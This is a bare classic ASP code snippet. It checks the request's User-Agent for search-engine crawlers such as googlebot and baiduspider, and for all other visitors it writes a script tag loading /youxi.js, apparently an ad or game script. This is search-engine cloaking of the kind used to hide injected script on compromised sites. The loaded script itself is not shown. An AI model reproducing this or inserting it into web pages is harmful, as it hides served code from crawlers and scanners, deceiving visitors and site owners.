<% function checkbd() dim i,agent,searray agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider") checkbd= false for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then checkbd=true next end function dim guangao guangao = "<script type=\'text\/javascript\' src=\'\/youxi.js\'><\/script>" %> <%if checkbd()=false then %> document.writeln('<%= guangao %>'); <%End If%>